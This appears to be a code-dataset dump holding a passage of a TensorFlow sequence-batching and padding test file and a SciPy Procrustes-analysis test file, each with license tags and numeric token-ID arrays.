self.sequences["seq1"][np.newaxis, 0:num_unroll, :], (self.batch_size, 1, 1)) expected_seq2_batch1 = np.tile( self.sequences["seq2"][np.newaxis, 0:num_unroll, :, :], (self.batch_size, 1, 1, 1)) expected_seq1_batch2 = np.tile( self.sequences["seq1"][np.newaxis, num_unroll:self.value_length, :], (self.batch_size, 1, 1)) expected_seq2_batch2 = np.tile( self.sequences["seq2"][np.newaxis, num_unroll:self.value_length, :, :], (self.batch_size, 1, 1, 1)) self._testBasics(num_unroll=num_unroll, length=3, pad=True, expected_seq1_batch1=expected_seq1_batch1, expected_seq2_batch1=expected_seq2_batch1, expected_seq1_batch2=expected_seq1_batch2, expected_seq2_batch2=expected_seq2_batch2) def testBasics(self): num_unroll = 2 # Divisor of value_length - so no padding necessary. expected_seq1_batch1 = np.tile( self.sequences["seq1"][np.newaxis, 0:num_unroll, :], (self.batch_size, 1, 1)) expected_seq2_batch1 = np.tile( self.sequences["seq2"][np.newaxis, 0:num_unroll, :, :], (self.batch_size, 1, 1, 1)) expected_seq1_batch2 = np.tile( self.sequences["seq1"][np.newaxis, num_unroll:self.value_length, :], (self.batch_size, 1, 1)) expected_seq2_batch2 = np.tile( self.sequences["seq2"][np.newaxis, num_unroll:self.value_length, :, :], (self.batch_size, 1, 1, 1)) self._testBasics(num_unroll=num_unroll, length=3, pad=False, expected_seq1_batch1=expected_seq1_batch1, expected_seq2_batch1=expected_seq2_batch1, expected_seq1_batch2=expected_seq1_batch2, expected_seq2_batch2=expected_seq2_batch2) def testNotAMultiple(self): num_unroll = 3 # Not a divisor of value_length - # so padding would have been necessary. with self.test_session() as sess: with self.assertRaisesRegexp(tf.errors.InvalidArgumentError, ".*should be a multiple of: 3, but saw " "value: 4. Consider setting pad=True."): coord = tf.train.Coordinator() threads = None try: with coord.stop_on_exception(): next_batch = tf.contrib.training.batch_sequences_with_states( input_key=self.key, input_sequences=self.sequences, input_context=self.context, input_length=3, initial_states=self.initial_states, num_unroll=num_unroll, batch_size=self.batch_size, num_threads=3, # to enforce that we only move on to the next examples after # finishing all segments of the first ones. capacity=2, pad=False) threads = tf.train.start_queue_runners(coord=coord) sess.run([next_batch.key]) except tf.errors.OutOfRangeError: pass finally: coord.request_stop() if threads is not None: coord.join(threads, stop_grace_period_secs=2) def testAdvancedPadding(self): num_unroll = 3 # Not a divisor of value_length - so padding to 6 necessary. expected_seq1_batch1 = np.tile( self.sequences["seq1"][np.newaxis, 0:num_unroll, :], (self.batch_size, 1, 1)) expected_seq2_batch1 = np.tile( self.sequences["seq2"][np.newaxis, 0:num_unroll, :, :], (self.batch_size, 1, 1, 1)) padded_seq1 = np.concatenate([ self.sequences["seq1"][np.newaxis, num_unroll:self.value_length, :], np.zeros((1, 1, 5)), np.zeros((1, 1, 5))], axis=1) expected_seq1_batch2 = np.concatenate([padded_seq1] * self.batch_size, axis=0) padded_seq2 = np.concatenate([ self.sequences["seq2"][np.newaxis, num_unroll:self.value_length, :], np.zeros((1, 1, 4, 2)), np.zeros((1, 1, 4, 2))], axis=1) expected_seq2_batch2 = np.concatenate([padded_seq2] * self.batch_size, axis=0) self._testBasics(num_unroll=num_unroll, length=None, pad=True, expected_seq1_batch1=expected_seq1_batch1, expected_seq2_batch1=expected_seq2_batch1, expected_seq1_batch2=expected_seq1_batch2, expected_seq2_batch2=expected_seq2_batch2) class PaddingTest(tf.test.TestCase): def testPaddingInvalidLengths(self): with tf.Graph().as_default() as g, self.test_session(graph=g): sequences = {"key_1": tf.constant([1, 2, 3]), # length 3 "key_2": tf.constant([1.5, 2.5])} # length 2 _, padded_seq = sqss._padding(sequences, 2) with self.assertRaisesOpError( ".*All sequence lengths must match, but received lengths.*"): padded_seq["key_1"].eval() def testPadding(self): with tf.Graph().as_default() as g, self.test_session(graph=g): sequences = {"key_1": tf.constant([1, 2]), "key_2": tf.constant([0.5, -1.0]), "key_3": tf.constant(["a", "b"]), # padding strings "key_4": tf.constant([[1, 2, 3], [4, 5, 6]])} _, padded_seq = sqss._padding(sequences, 5) expected_padded_seq = { "key_1": [1, 2, 0, 0, 0], "key_2": [0.5, -1.0, 0.0, 0.0, 0.0], "key_3": ["a", "b", "", "", ""], "key_4": [[1, 2, 3], [4, 5, 6], [0, 0, 0], [0, 0, 0], [0, 0, 0]]} for key, val in expected_padded_seq.items(): self.assertTrue(tf.reduce_all(tf.equal(val, padded_seq[key])).eval()) if __name__ == "__main__": tf.test.main()
apache-2.0
[ 3, 1898, 7800, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 199, 624, 2925, 367, 2833, 14, 2912, 63, 13436, 63, 1045, 63, 4981, 1041, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 747, 199, 199, 646, 2680, 465, 980, 199, 646, 3228, 465, 2833, 199, 199, 504, 3228, 14, 2828, 14, 7588, 14, 1548, 14, 7588, 492, 3414, 63, 1825, 316, 63, 929, 63, 21166, 465, 5295, 385, 421, 199, 533, 17206, 1513, 6227, 3007, 18010, 774, 8, 3249, 14, 396, 14, 1746, 304, 819, 347, 3613, 8, 277, 304, 272, 1613, 8, 8842, 1513, 6227, 3007, 18010, 774, 12, 291, 680, 5996, 342, 272, 291, 14, 585, 63, 1267, 275, 841, 272, 291, 14, 2912, 63, 890, 275, 499, 272, 291, 14, 498, 275, 2833, 14, 875, 63, 904, 5234, 498, 29808, 2833, 14, 305, 63, 875, 8, 3249, 14, 2931, 8, 267, 11630, 627, 2833, 14, 2355, 63, 8830, 8, 4000, 2833, 14, 442, 708, 18229, 272, 291, 14, 13436, 275, 2420, 3610, 17, 582, 980, 14, 2355, 14, 3759, 8, 277, 14, 585, 63, 1267, 12, 959, 395, 1993, 298, 3610, 18, 582, 980, 14, 2355, 14, 3759, 8, 277, 14, 585, 63, 1267, 12, 841, 12, 499, 6769, 272, 291, 14, 1100, 275, 2420, 1100, 17, 582, 359, 19, 12, 841, 9420, 272, 291, 14, 2747, 63, 4981, 275, 2420, 929, 17, 582, 980, 14, 2355, 14, 3759, 8, 22, 12, 1520, 395, 2574, 298, 929, 18, 582, 980, 14, 2355, 14, 3759, 8, 24, 6769, 819, 347, 485, 1861, 8, 277, 12, 790, 63, 585, 304, 272, 372, 663, 8, 267, 359, 83, 14, 2708, 480, 4371, 3471, 1294, 20063, 59, 16, 1055, 2143, 480, 4371, 531, 367, 308, 315, 790, 63, 585, 566, 819, 347, 485, 396, 6845, 83, 8, 277, 12, 1967, 63, 324, 2827, 12, 2582, 12, 6567, 12, 2116, 1420, 63, 3610, 17, 63, 2912, 17, 12, 1420, 63, 3610, 18, 63, 2912, 17, 12, 2116, 1420, 63, 3610, 17, 63, 2912, 18, 12, 1420, 63, 3610, 18, 63, 2912, 18, 304, 272, 543, 291, 14, 396, 63, 1730, 342, 465, 4043, 26, 489, 2163, 63, 2912, 275, 2833, 14, 2828, 14, 7588, 14, 2912, 63, 13436, 63, 1045, 63, 4981, 8, 881, 1324, 63, 498, 29, 277, 14, 498, 12, 881, 1324, 63, 13436, 29, 277, 14, 13436, 12, 881, 1324, 63, 1100, 29, 277, 14, 1100, 12, 881, 1324, 63, 1267, 29, 1267, 12, 881, 2536, 63, 4981, 29, 277, 14, 2747, 63, 4981, 12, 881, 1967, 63, 324, 2827, 29, 1507, 63, 324, 2827, 12, 881, 3522, 63, 890, 29, 277, 14, 2912, 63, 890, 12, 881, 1967, 63, 6962, 29, 19, 12, 881, 327, 370, 15814, 626, 781, 1454, 4057, 641, 370, 314, 2163, 7251, 2410, 9578, 316, 881, 327, 1006, 11998, 402, 314, 1642, 7869, 14, 881, 14893, 29, 18, 12, 881, 6567, 29, 6226, 9, 2541, 1174, 17, 275, 2163, 63, 2912, 14, 929, 480, 929, 17, 531, 489, 1174, 18, 275, 2163, 63, 2912, 14, 929, 480, 929, 18, 531, 489, 1174, 17, 63, 873, 275, 2163, 63, 2912, 14, 2117, 63, 929, 480, 929, 17, 401, 1174, 17, 435, 413, 9, 489, 1174, 18, 63, 873, 275, 2163, 63, 2912, 14, 2117, 63, 929, 480, 929, 18, 401, 1174, 18, 446, 413, 9, 2541, 327, 4155, 3238, 4126, 7876, 543, 428, 49, 2300, 365, 3483, 7684, 370, 3404, 3343, 347, 14, 489, 327, 428, 28396, 5074, 737, 5210, 1373, 1750, 14, 489, 373, 16, 275, 2833, 14, 2773, 8, 709, 14, 16, 12, 536, 628, 86, 16, 531, 489, 2833, 14, 525, 63, 475, 63, 3627, 480, 1975, 63, 3627, 401, 373, 16, 9, 489, 2833, 14, 2966, 63, 3669, 63, 6498, 342, 489, 3354, 275, 2833, 14, 2834, 14, 20829, 779, 86, 16, 566, 489, 511, 63, 694, 275, 747, 14, 515, 14, 904, 8, 3249, 14, 396, 14, 362, 63, 808, 63, 694, 1062, 298, 3526, 385, 63, 396, 531, 489, 1788, 275, 747, 14, 515, 14, 904, 8, 396, 63, 694, 12, 298, 2024, 493, 531, 489, 3404, 63, 2180, 63, 318, 275, 3354, 14, 3790, 63, 2024, 63, 2180, 8, 1501, 9, 489, 29757, 63, 8420, 275, 3404, 63, 2180, 63, 318, 14, 3627, 63, 318, 59, 3249, 14, 19713, 14, 15125, 63, 9390, 46, 3960, 61, 489, 291, 14, 1815, 8, 16596, 63, 8420, 14, 2394, 63, 513, 14, 585, 365, 440, 488, 9, 2541, 11021, 275, 2833, 14, 2834, 14, 13940, 707, 342, 489, 7183, 275, 2833, 14, 2834, 14, 928, 63, 1825, 63, 32213, 8, 7988, 29, 7988, 9, 2541, 327, 13382, 413, 489, 334, 498, 63, 585, 12, 2163, 63, 498, 63, 585, 12, 5412, 17, 63, 585, 12, 5412, 18, 63, 585, 12, 1067, 17, 63, 585, 12, 2126, 1174, 17, 63, 585, 12, 1174, 18, 63, 585, 12, 2582, 63, 585, 12, 5501, 20795, 275, 4043, 14, 1065, 8, 1779, 334, 2184, 63, 2912, 14, 498, 12, 288, 2163, 63, 2912, 14, 2184, 63, 498, 12, 288, 2163, 63, 2912, 14, 13436, 905, 3610, 17, 2255, 288, 2163, 63, 2912, 14, 13436, 905, 3610, 18, 2255, 288, 2163, 63, 2912, 14, 1100, 905, 1100, 17, 2255, 288, 1174, 17, 12, 288 ]
[ 1898, 7800, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 199, 624, 2925, 367, 2833, 14, 2912, 63, 13436, 63, 1045, 63, 4981, 1041, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 747, 199, 199, 646, 2680, 465, 980, 199, 646, 3228, 465, 2833, 199, 199, 504, 3228, 14, 2828, 14, 7588, 14, 1548, 14, 7588, 492, 3414, 63, 1825, 316, 63, 929, 63, 21166, 465, 5295, 385, 421, 199, 533, 17206, 1513, 6227, 3007, 18010, 774, 8, 3249, 14, 396, 14, 1746, 304, 819, 347, 3613, 8, 277, 304, 272, 1613, 8, 8842, 1513, 6227, 3007, 18010, 774, 12, 291, 680, 5996, 342, 272, 291, 14, 585, 63, 1267, 275, 841, 272, 291, 14, 2912, 63, 890, 275, 499, 272, 291, 14, 498, 275, 2833, 14, 875, 63, 904, 5234, 498, 29808, 2833, 14, 305, 63, 875, 8, 3249, 14, 2931, 8, 267, 11630, 627, 2833, 14, 2355, 63, 8830, 8, 4000, 2833, 14, 442, 708, 18229, 272, 291, 14, 13436, 275, 2420, 3610, 17, 582, 980, 14, 2355, 14, 3759, 8, 277, 14, 585, 63, 1267, 12, 959, 395, 1993, 298, 3610, 18, 582, 980, 14, 2355, 14, 3759, 8, 277, 14, 585, 63, 1267, 12, 841, 12, 499, 6769, 272, 291, 14, 1100, 275, 2420, 1100, 17, 582, 359, 19, 12, 841, 9420, 272, 291, 14, 2747, 63, 4981, 275, 2420, 929, 17, 582, 980, 14, 2355, 14, 3759, 8, 22, 12, 1520, 395, 2574, 298, 929, 18, 582, 980, 14, 2355, 14, 3759, 8, 24, 6769, 819, 347, 485, 1861, 8, 277, 12, 790, 63, 585, 304, 272, 372, 663, 8, 267, 359, 83, 14, 2708, 480, 4371, 3471, 1294, 20063, 59, 16, 1055, 2143, 480, 4371, 531, 367, 308, 315, 790, 63, 585, 566, 819, 347, 485, 396, 6845, 83, 8, 277, 12, 1967, 63, 324, 2827, 12, 2582, 12, 6567, 12, 2116, 1420, 63, 3610, 17, 63, 2912, 17, 12, 1420, 63, 3610, 18, 63, 2912, 17, 12, 2116, 1420, 63, 3610, 17, 63, 2912, 18, 12, 1420, 63, 3610, 18, 63, 2912, 18, 304, 272, 543, 291, 14, 396, 63, 1730, 342, 465, 4043, 26, 489, 2163, 63, 2912, 275, 2833, 14, 2828, 14, 7588, 14, 2912, 63, 13436, 63, 1045, 63, 4981, 8, 881, 1324, 63, 498, 29, 277, 14, 498, 12, 881, 1324, 63, 13436, 29, 277, 14, 13436, 12, 881, 1324, 63, 1100, 29, 277, 14, 1100, 12, 881, 1324, 63, 1267, 29, 1267, 12, 881, 2536, 63, 4981, 29, 277, 14, 2747, 63, 4981, 12, 881, 1967, 63, 324, 2827, 29, 1507, 63, 324, 2827, 12, 881, 3522, 63, 890, 29, 277, 14, 2912, 63, 890, 12, 881, 1967, 63, 6962, 29, 19, 12, 881, 327, 370, 15814, 626, 781, 1454, 4057, 641, 370, 314, 2163, 7251, 2410, 9578, 316, 881, 327, 1006, 11998, 402, 314, 1642, 7869, 14, 881, 14893, 29, 18, 12, 881, 6567, 29, 6226, 9, 2541, 1174, 17, 275, 2163, 63, 2912, 14, 929, 480, 929, 17, 531, 489, 1174, 18, 275, 2163, 63, 2912, 14, 929, 480, 929, 18, 531, 489, 1174, 17, 63, 873, 275, 2163, 63, 2912, 14, 2117, 63, 929, 480, 929, 17, 401, 1174, 17, 435, 413, 9, 489, 1174, 18, 63, 873, 275, 2163, 63, 2912, 14, 2117, 63, 929, 480, 929, 18, 401, 1174, 18, 446, 413, 9, 2541, 327, 4155, 3238, 4126, 7876, 543, 428, 49, 2300, 365, 3483, 7684, 370, 3404, 3343, 347, 14, 489, 327, 428, 28396, 5074, 737, 5210, 1373, 1750, 14, 489, 373, 16, 275, 2833, 14, 2773, 8, 709, 14, 16, 12, 536, 628, 86, 16, 531, 489, 2833, 14, 525, 63, 475, 63, 3627, 480, 1975, 63, 3627, 401, 373, 16, 9, 489, 2833, 14, 2966, 63, 3669, 63, 6498, 342, 489, 3354, 275, 2833, 14, 2834, 14, 20829, 779, 86, 16, 566, 489, 511, 63, 694, 275, 747, 14, 515, 14, 904, 8, 3249, 14, 396, 14, 362, 63, 808, 63, 694, 1062, 298, 3526, 385, 63, 396, 531, 489, 1788, 275, 747, 14, 515, 14, 904, 8, 396, 63, 694, 12, 298, 2024, 493, 531, 489, 3404, 63, 2180, 63, 318, 275, 3354, 14, 3790, 63, 2024, 63, 2180, 8, 1501, 9, 489, 29757, 63, 8420, 275, 3404, 63, 2180, 63, 318, 14, 3627, 63, 318, 59, 3249, 14, 19713, 14, 15125, 63, 9390, 46, 3960, 61, 489, 291, 14, 1815, 8, 16596, 63, 8420, 14, 2394, 63, 513, 14, 585, 365, 440, 488, 9, 2541, 11021, 275, 2833, 14, 2834, 14, 13940, 707, 342, 489, 7183, 275, 2833, 14, 2834, 14, 928, 63, 1825, 63, 32213, 8, 7988, 29, 7988, 9, 2541, 327, 13382, 413, 489, 334, 498, 63, 585, 12, 2163, 63, 498, 63, 585, 12, 5412, 17, 63, 585, 12, 5412, 18, 63, 585, 12, 1067, 17, 63, 585, 12, 2126, 1174, 17, 63, 585, 12, 1174, 18, 63, 585, 12, 2582, 63, 585, 12, 5501, 20795, 275, 4043, 14, 1065, 8, 1779, 334, 2184, 63, 2912, 14, 498, 12, 288, 2163, 63, 2912, 14, 2184, 63, 498, 12, 288, 2163, 63, 2912, 14, 13436, 905, 3610, 17, 2255, 288, 2163, 63, 2912, 14, 13436, 905, 3610, 18, 2255, 288, 2163, 63, 2912, 14, 1100, 905, 1100, 17, 2255, 288, 1174, 17, 12, 288, 0 ]
[ 1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
pizzathief/scipy
scipy/spatial/tests/test__procrustes.py
9
4982
import numpy as np from numpy.testing import assert_allclose, assert_equal, assert_almost_equal from pytest import raises as assert_raises from scipy.spatial import procrustes class TestProcrustes(object): def setup_method(self): """creates inputs""" # an L self.data1 = np.array([[1, 3], [1, 2], [1, 1], [2, 1]], 'd') # a larger, shifted, mirrored L self.data2 = np.array([[4, -2], [4, -4], [4, -6], [2, -6]], 'd') # an L shifted up 1, right 1, and with point 4 shifted an extra .5 # to the right # pointwise distance disparity with data1: 3*(2) + (1 + 1.5^2) self.data3 = np.array([[2, 4], [2, 3], [2, 2], [3, 2.5]], 'd') # data4, data5 are standardized (trace(A*A') = 1). # procrustes should return an identical copy if they are used # as the first matrix argument. shiftangle = np.pi / 8 self.data4 = np.array([[1, 0], [0, 1], [-1, 0], [0, -1]], 'd') / np.sqrt(4) self.data5 = np.array([[np.cos(shiftangle), np.sin(shiftangle)], [np.cos(np.pi / 2 - shiftangle), np.sin(np.pi / 2 - shiftangle)], [-np.cos(shiftangle), -np.sin(shiftangle)], [-np.cos(np.pi / 2 - shiftangle), -np.sin(np.pi / 2 - shiftangle)]], 'd') / np.sqrt(4) def test_procrustes(self): # tests procrustes' ability to match two matrices. # # the second matrix is a rotated, shifted, scaled, and mirrored version # of the first, in two dimensions only # # can shift, mirror, and scale an 'L'? a, b, disparity = procrustes(self.data1, self.data2) assert_allclose(b, a) assert_almost_equal(disparity, 0.) # if first mtx is standardized, leaves first mtx unchanged? m4, m5, disp45 = procrustes(self.data4, self.data5) assert_equal(m4, self.data4) # at worst, data3 is an 'L' with one point off by .5 m1, m3, disp13 = procrustes(self.data1, self.data3) #assert_(disp13 < 0.5 ** 2) def test_procrustes2(self): # procrustes disparity should not depend on order of matrices m1, m3, disp13 = procrustes(self.data1, self.data3) m3_2, m1_2, disp31 = procrustes(self.data3, self.data1) assert_almost_equal(disp13, disp31) # try with 3d, 8 pts per rand1 = np.array([[2.61955202, 0.30522265, 0.55515826], [0.41124708, -0.03966978, -0.31854548], [0.91910318, 1.39451809, -0.15295084], [2.00452023, 0.50150048, 0.29485268], [0.09453595, 0.67528885, 0.03283872], [0.07015232, 2.18892599, -1.67266852], [0.65029688, 1.60551637, 0.80013549], [-0.6607528, 0.53644208, 0.17033891]]) rand3 = np.array([[0.0809969, 0.09731461, -0.173442], [-1.84888465, -0.92589646, -1.29335743], [0.67031855, -1.35957463, 0.41938621], [0.73967209, -0.20230757, 0.52418027], [0.17752796, 0.09065607, 0.29827466], [0.47999368, -0.88455717, -0.57547934], [-0.11486344, -0.12608506, -0.3395779], [-0.86106154, -0.28687488, 0.9644429]]) res1, res3, disp13 = procrustes(rand1, rand3) res3_2, res1_2, disp31 = procrustes(rand3, rand1) assert_almost_equal(disp13, disp31) def test_procrustes_shape_mismatch(self): assert_raises(ValueError, procrustes, np.array([[1, 2], [3, 4]]), np.array([[5, 6, 7], [8, 9, 10]])) def test_procrustes_empty_rows_or_cols(self): empty = np.array([[]]) assert_raises(ValueError, procrustes, empty, empty) def test_procrustes_no_variation(self): assert_raises(ValueError, procrustes, np.array([[42, 42], [42, 42]]), np.array([[45, 45], [45, 45]])) def test_procrustes_bad_number_of_dimensions(self): # fewer dimensions in one dataset assert_raises(ValueError, procrustes, np.array([1, 1, 2, 3, 5, 8]), np.array([[1, 2], [3, 4]])) # fewer dimensions in both datasets assert_raises(ValueError, procrustes, np.array([1, 1, 2, 3, 5, 8]), np.array([1, 1, 2, 3, 5, 8])) # zero dimensions assert_raises(ValueError, procrustes, np.array(7), np.array(11)) # extra dimensions assert_raises(ValueError, procrustes, np.array([[[11], [7]]]), np.array([[[5, 13]]]))
bsd-3-clause
[ 646, 2680, 465, 980, 199, 504, 2680, 14, 4776, 492, 702, 63, 7520, 12, 702, 63, 1452, 12, 702, 63, 4398, 63, 1452, 199, 504, 4613, 492, 6534, 465, 702, 63, 3536, 199, 199, 504, 7026, 14, 11679, 492, 557, 1556, 527, 744, 421, 199, 533, 1379, 919, 1556, 527, 744, 8, 785, 304, 272, 347, 3272, 63, 765, 8, 277, 304, 267, 408, 28219, 4153, 624, 267, 327, 376, 491, 267, 291, 14, 576, 17, 275, 980, 14, 1144, 4038, 17, 12, 650, 467, 359, 17, 12, 499, 467, 359, 17, 12, 413, 467, 359, 18, 12, 413, 2365, 283, 68, 358, 398, 327, 282, 12142, 12, 31915, 12, 333, 27533, 491, 267, 291, 14, 576, 18, 275, 980, 14, 1144, 4038, 20, 12, 446, 18, 467, 359, 20, 12, 446, 20, 467, 359, 20, 12, 446, 22, 467, 359, 18, 12, 446, 22, 2365, 283, 68, 358, 398, 327, 376, 491, 31915, 1536, 413, 12, 2451, 413, 12, 436, 543, 2376, 841, 31915, 376, 2402, 1275, 21, 267, 327, 370, 314, 2451, 267, 327, 2376, 2605, 6033, 2153, 462, 1209, 543, 666, 17, 26, 650, 5830, 18, 9, 435, 334, 17, 435, 413, 14, 21, 62, 18, 9, 267, 291, 14, 576, 19, 275, 980, 14, 1144, 4038, 18, 12, 841, 467, 359, 18, 12, 650, 467, 359, 18, 12, 499, 467, 359, 19, 12, 499, 14, 21, 2365, 283, 68, 358, 398, 327, 666, 20, 12, 666, 21, 787, 28974, 7068, 334, 3446, 8, 33, 10, 33, 358, 275, 413, 680, 267, 327, 557, 1556, 527, 744, 1077, 372, 376, 13130, 1331, 340, 2985, 787, 1202, 267, 327, 465, 314, 1642, 3634, 1423, 14, 267, 7706, 4593, 275, 980, 14, 1038, 1182, 1695, 267, 291, 14, 576, 20, 275, 980, 14, 1144, 4038, 17, 12, 378, 467, 359, 16, 12, 413, 467, 5243, 17, 12, 378, 467, 2892, 359, 16, 12, 446, 17, 2365, 283, 68, 358, 1182, 980, 14, 5079, 8, 20, 9, 267, 291, 14, 576, 21, 275, 980, 14, 1144, 4038, 1590, 14, 5197, 8, 4723, 4593, 395, 980, 14, 5911, 8, 4723, 4593, 4360, 2892, 359, 1590, 14, 5197, 8, 1590, 14, 1038, 1182, 499, 446, 7706, 4593, 395, 3044, 980, 14, 5911, 8, 1590, 14, 1038, 1182, 499, 446, 7706, 4593, 4360, 2892, 5243, 1590, 14, 5197, 8, 4723, 4593, 395, 3044, 446, 1590, 14, 5911, 8, 4723, 4593, 4360, 2892, 5243, 1590, 14, 5197, 8, 1590, 14, 1038, 1182, 499, 446, 7706, 4593, 395, 3044, 446, 1590, 14, 5911, 8, 1590, 14, 1038, 1182, 499, 446, 7706, 4593, 18037, 2892, 283, 68, 358, 1182, 980, 14, 5079, 8, 20, 9, 339, 347, 511, 63, 496, 1556, 527, 744, 8, 277, 304, 267, 327, 2295, 557, 1556, 527, 744, 7, 21255, 370, 1336, 2877, 12627, 14, 267, 327, 267, 327, 314, 3499, 3634, 365, 282, 7513, 972, 12, 31915, 12, 17923, 12, 436, 333, 27533, 1015, 267, 327, 402, 314, 1642, 12, 315, 2877, 7365, 1454, 267, 327, 267, 327, 883, 7706, 12, 15216, 12, 436, 4666, 376, 283, 44, 27716, 267, 282, 12, 330, 12, 2153, 462, 1209, 275, 557, 1556, 527, 744, 8, 277, 14, 576, 17, 12, 291, 14, 576, 18, 9, 267, 702, 63, 7520, 8, 66, 12, 282, 9, 267, 702, 63, 4398, 63, 1452, 8, 2297, 462, 1209, 12, 378, 4959, 398, 327, 340, 1642, 333, 2347, 365, 28974, 7068, 12, 16733, 1642, 333, 2347, 14874, 31, 267, 333, 20, 12, 333, 21, 12, 9628, 2322, 275, 557, 1556, 527, 744, 8, 277, 14, 576, 20, 12, 291, 14, 576, 21, 9, 267, 702, 63, 1452, 8, 77, 20, 12, 291, 14, 576, 20, 9, 398, 327, 737, 1319, 270, 12, 666, 19, 365, 376, 283, 44, 7, 543, 1373, 2376, 2331, 701, 1275, 21, 267, 333, 17, 12, 333, 19, 12, 9628, 969, 275, 557, 1556, 527, 744, 8, 277, 14, 576, 17, 12, 291, 14, 576, 19, 9, 267, 327, 479, 2531, 13654, 969, 665, 378, 14, 21, 1011, 499, 9, 339, 347, 511, 63, 496, 1556, 527, 744, 18, 8, 277, 304, 267, 327, 557, 1556, 527, 744, 2153, 462, 1209, 1077, 440, 11687, 641, 1865, 402, 12627, 267, 333, 17, 12, 333, 19, 12, 9628, 969, 275, 557, 1556, 527, 744, 8, 277, 14, 576, 17, 12, 291, 14, 576, 19, 9, 267, 333, 19, 63, 18, 12, 333, 17, 63, 18, 12, 9628, 2192, 275, 557, 1556, 527, 744, 8, 277, 14, 576, 19, 12, 291, 14, 576, 17, 9, 267, 702, 63, 4398, 63, 1452, 8, 13654, 969, 12, 9628, 2192, 9, 398, 327, 862, 543, 650, 68, 12, 1695, 21286, 1126, 267, 10261, 17, 275, 980, 14, 1144, 4038, 18, 14, 30270, 1229, 4999, 12, 378, 14, 11565, 1081, 13730, 12, 378, 14, 15722, 11240, 1479, 467, 586, 359, 16, 14, 2953, 713, 2417, 2036, 12, 446, 16, 14, 10005, 15014, 2277, 12, 446, 16, 14, 20739, 1477, 17054, 467, 586, 359, 16, 14, 32624, 8845, 1085, 12, 413, 14, 1355, 2322, 1085, 1643, 12, 446, 16, 14, 1046, 1398, 1400, 1349, 467, 586, 359, 18, 14, 31214, 4999, 19, 12, 378, 14, 8216, 5783, 2006, 12, 378, 14, 1398, 21956, 13731, 467, 586, 359, 16, 14, 1643, 2322, 1276, 2720, 12, 378, 14, 1822, 2528, 1299, 2426, 12, 378, 14, 21683, 2658, 16357, 467, 586, 359, 16, 14, 1780, 614, 2528, 708, 12, 499, 14, 1085, 1407, 821, 1020, 12, 446, 17, 14, 1822, 9969, 22719, 467, 586, 359, 16, 14, 2182, 996, 2534, 1299, 12, 413, 14, 2259, 1229, 975, 1401, 12, 378, 14, 6718, 969, 15419, 467, 586, 5243, 16, 14, 1272, 19339, 1651, 12, 378, 14, 2481, 10893, 10630, 12, 378, 14, 1196, 8762, 15601, 3934, 398, 10261, 19, 275, 980, 14, 1144, 4038, 16, 14, 27014, 1020, 1876, 12, 378, 14, 1643, 2898, 1079, 2976, 12, 446, 16, 14, 1196, 1082, 2260, 467, 586, 5243, 17, 14, 1349, 1299, 1349, 2182, 12, 446, 16, 14, 32503, 1407, 11387, 12, 446, 17, 14, 1398, 1153, 10950, 19, 467, 586, 359, 16, 14, 1822, 1644, 1085, 1229, 12, 446, 17, 14, 1276, 2720, 1342, 2766, 12, 378, 14, 25230, 8040 ]
[ 2680, 465, 980, 199, 504, 2680, 14, 4776, 492, 702, 63, 7520, 12, 702, 63, 1452, 12, 702, 63, 4398, 63, 1452, 199, 504, 4613, 492, 6534, 465, 702, 63, 3536, 199, 199, 504, 7026, 14, 11679, 492, 557, 1556, 527, 744, 421, 199, 533, 1379, 919, 1556, 527, 744, 8, 785, 304, 272, 347, 3272, 63, 765, 8, 277, 304, 267, 408, 28219, 4153, 624, 267, 327, 376, 491, 267, 291, 14, 576, 17, 275, 980, 14, 1144, 4038, 17, 12, 650, 467, 359, 17, 12, 499, 467, 359, 17, 12, 413, 467, 359, 18, 12, 413, 2365, 283, 68, 358, 398, 327, 282, 12142, 12, 31915, 12, 333, 27533, 491, 267, 291, 14, 576, 18, 275, 980, 14, 1144, 4038, 20, 12, 446, 18, 467, 359, 20, 12, 446, 20, 467, 359, 20, 12, 446, 22, 467, 359, 18, 12, 446, 22, 2365, 283, 68, 358, 398, 327, 376, 491, 31915, 1536, 413, 12, 2451, 413, 12, 436, 543, 2376, 841, 31915, 376, 2402, 1275, 21, 267, 327, 370, 314, 2451, 267, 327, 2376, 2605, 6033, 2153, 462, 1209, 543, 666, 17, 26, 650, 5830, 18, 9, 435, 334, 17, 435, 413, 14, 21, 62, 18, 9, 267, 291, 14, 576, 19, 275, 980, 14, 